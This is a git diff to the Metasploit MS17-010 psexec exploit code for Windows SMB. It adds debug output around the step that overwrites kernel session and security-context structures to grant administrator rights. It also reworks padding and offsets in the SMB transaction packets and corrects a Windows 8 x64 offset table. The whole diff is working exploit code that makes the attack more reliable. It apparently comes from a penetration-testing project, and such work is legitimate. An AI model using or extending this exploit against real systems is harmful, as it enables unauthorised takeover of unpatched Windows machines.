diff --git a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb index 918ee0b0a0..f94bd55c01 100644 --- a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb +++ b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb @@ -48,6 +48,11 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 # IsNullSession = 0, IsAdmin = 1 write_what_where("\x00\x01", @ctx['session'] + @ctx['SESSION_ISNULL_OFFSET']) + + if datastore['DBGTRACE'] + vprint_status("Overwrote IsNullSession = 0, IsAdmin = 1") + end + modify_token() @ctx['rekt'] = true # set if we need to clean up the token @@ -82,10 +87,22 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 fmt = @ctx['PTR_FMT'] # read session struct to get SecurityContext address sessionData = read_data(@ctx['session'], 0x100) + + if datastore['DBGTRACE'] + vprint_status("Session Data: #{bin_to_hex(sessionData)}") + vprint_status("session dat len = #{sessionData.length}") + vprint_status("Session ctx offset = #{@ctx['SESSION_SECCTX_OFFSET'].to_s(16)}") + vprint_status("Session ctx data = #{bin_to_hex(sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1])}") + + end #value = leakTrans[0x8..-1].unpack(ptrf * 5) #unpack_from('<'+ptrf*5, leakTrans, 8) #secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0] secCtxAddr = sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1].unpack(@ctx['PTR_FMT'])[0] + if datastore['DBGTRACE'] + vprint_status("secCtxAddr: #{secCtxAddr.to_s(16)}") + end + if @ctx.key? 'PCTXTHANDLE_TOKEN_OFFSET' # Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation # Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is @@ -120,16 +137,25 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 #write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups) write_what_where(fakeUserAndGroups, userAndGroupsAddr) - else + else # the target can use PsImperonateClient for impersonation (Windows 2008 and later) # copy SecurityContext for restoration + if datastore['DBGTRACE'] + vprint_status("Reading secCtxData from #{secCtxAddr.to_s(16)}") + end secCtxData = read_data(secCtxAddr, @ctx['SECCTX_SIZE']) + if datastore['DBGTRACE'] + vprint_status("Read data from secCtx: #{bin_to_hex(secCtxData)}") + end @ctx['secCtxData'] = secCtxData @ctx['secCtxAddr'] = secCtxAddr # see FAKE_SECCTX detail at top of the file write_what_where(@ctx['FAKE_SECCTX'], secCtxAddr) + if datastore['DBGTRACE'] + vprint_status("Overwrote fake secctx") + end end end @@ -785,7 +811,7 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 end def bin_to_hex(s) - s.each_byte.map { |b| b.to_s(16) }.join + s.each_byte.map { |b| "%02x" % b }.join end def recv_transaction_data(mid, len) @@ -818,12 +844,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 pkt = CONST::SMB_NTTRANS_PKT.make_struct set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid) - param = param.b - data = data.b - - # smb + wct + pb + bcc - param_offset = 32 + 39 + setup.length + 2 # 73 if setup.length == 0 - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT pkt['Payload']['SMB'].v['WordCount'] = 19 + setup.length @@ -832,44 +852,32 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 pkt['Payload'].v['ParamCountMax'] = if maxParameterCount != nil then maxParameterCount else param.length end pkt['Payload'].v['DataCountMax'] = if maxDataCount != nil then maxDataCount else data.length end # doesnt match? pkt['Payload'].v['ParamCount'] = param.length - pkt['Payload'].v['ParamOffset'] = param_offset pkt['Payload'].v['DataCount'] = data.length - pkt['Payload'].v['DataOffset'] = param_offset + param.length pkt['Payload'].v['SetupCount'] = setup.length pkt['Payload'].v['SetupData'] = setup + pkt['Payload'].v['Subcommand'] = subcommand - pkt['Payload'].v['Payload'] = param + data # strip padding + pkt = put_trans_data(pkt, data: data, param: param) return pkt end def create_nt_trans_secondary_packet(tid: nil, uid: nil, pid: nil, mid: nil, wct: 18, param: '', paramDisplacement: 0, data: '', dataDisplacement: 0) - pkt = CONST::SMB_NTTRANS_SECONDARY_PKT.make_struct set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid) - param = param.b - data = data.b - - base_offset = pkt.to_s.length - 4 - param_offset = if param != '' then base_offset else 0 end - data_offset = if data != '' then base_offset + param.length else 0 end - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY pkt['Payload']['SMB'].v['WordCount'] = wct pkt['Payload'].v['ParamCountTotal'] = param.length pkt['Payload'].v['DataCountTotal'] = data.length pkt['Payload'].v['ParamCount'] = param.length - pkt['Payload'].v['ParamOffset'] = param_offset pkt['Payload'].v['DataCount'] = data.length - pkt['Payload'].v['DataOffset'] = data_offset pkt['Payload'].v['DataDisplace'] = dataDisplacement pkt['Payload'].v['ParamDisplace'] = paramDisplacement - pkt['Payload'].v['Payload'] = param + data - + pkt = put_trans_data(pkt, data: data, param: param) pkt end @@ -877,35 +885,58 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 pkt = CONST::SMB_TRANS_PKT.make_struct set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid) - param = param.b - data = data.b - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION pkt['Payload']['SMB'].v['WordCount'] = 14 + setup.length - base_offset = pkt.to_s.length - 4 - param_offset = if param != '' then base_offset else 0 end - data_offset = if data != '' then base_offset + param.length else 0 end - pkt['Payload'].v['ParamCountTotal'] = if totalParameterCount != nil then totalParameterCount else param.length end pkt['Payload'].v['DataCountTotal'] = if totalDataCount != nil then totalDataCount else data.length end pkt['Payload'].v['ParamCountMax'] = if maxParameterCount != nil then maxParameterCount else param.length end pkt['Payload'].v['DataCountMax'] = if maxDataCount != nil then maxDataCount else data.length end pkt['Payload'].v['ParamCount'] = param.length - pkt['Payload'].v['ParamOffset'] = param_offset pkt['Payload'].v['DataCount'] = data.length - pkt['Payload'].v['DataOffset'] = data_offset pkt['Payload'].v['SetupCount'] = setup.length pkt['Payload'].v['SetupData'] = setup pkt['Payload'].v['Flags'] = 0 pkt['Payload'].v['Timeout'] = 0xffffffff - pkt['Payload'].v['Payload'] = param + data + pkt = put_trans_data(pkt, data: data, param: param) pkt end + # Note: Setup length is included when len(param) is called + def put_trans_data(pkt, len: 0, param: '', data: '', noPad: false) + pkt['Payload'].v['ParamOffset'] = 0 + pkt['Payload'].v['DataOffset'] = 0 + + # SMB header: 32 bytes + # WordCount: 1 bytes + # ByteCount: 2 bytes + #offset = 32 + 1 + len + 2 #len(pkt['Parameters']) + 2 + len = pkt.to_s.length - 4 + param = param.b + data = data.b + offset = len + + transData = '' + if param != '' + padLen = if noPad then 0 else (4 - offset % 4 ) % 4 end + pkt['Payload'].v['ParamOffset'] = offset + padLen + transData = ("\x00" * padLen) + param + offset += padLen + param.length + end + + if data != '' + padLen = if noPad then 0 else (4 - offset % 4 ) % 4 end + pkt['Payload'].v['DataOffset'] = offset + padLen + transData += ("\x00" * padLen) + data + end + + pkt['Payload'].v['Payload'] = transData + pkt + end + def create_trans_secondary_packet(tid: nil, uid: nil, pid: nil, mid: nil, param: '', paramDisplacement: 0, data: '', dataDisplacement: 0) pkt = CONST::SMB_BASE_PKT.make_struct set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid) @@ -1260,7 +1291,7 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 'x64' => { 'CPUARCH' => X64_INFO, 'OFFSETS' => WIN7_64_TRANS_INFO, - 'SESSION' => WIN8_32_SESSION_INFO + 'SESSION' => WIN8_64_SESSION_INFO }, }, 'WINXP' => { diff --git a/modules/exploits/windows/smb/ms17_010_psexec.rb b/modules/exploits/windows/smb/ms17_010_psexec.rb index 412a3bbf72..535de402e4 100644 --- a/modules/exploits/windows/smb/ms17_010_psexec.rb +++ b/modules/exploits/windows/smb/ms17_010_psexec.rb @@ -102,6 +102,7 @@ class MetasploitModule < Msf::Exploit::Remote rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e print_error("#{e.message}") rescue ::Errno::ECONNRESET, + ::Rex::Proto::SMB::Exceptions::LoginError, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e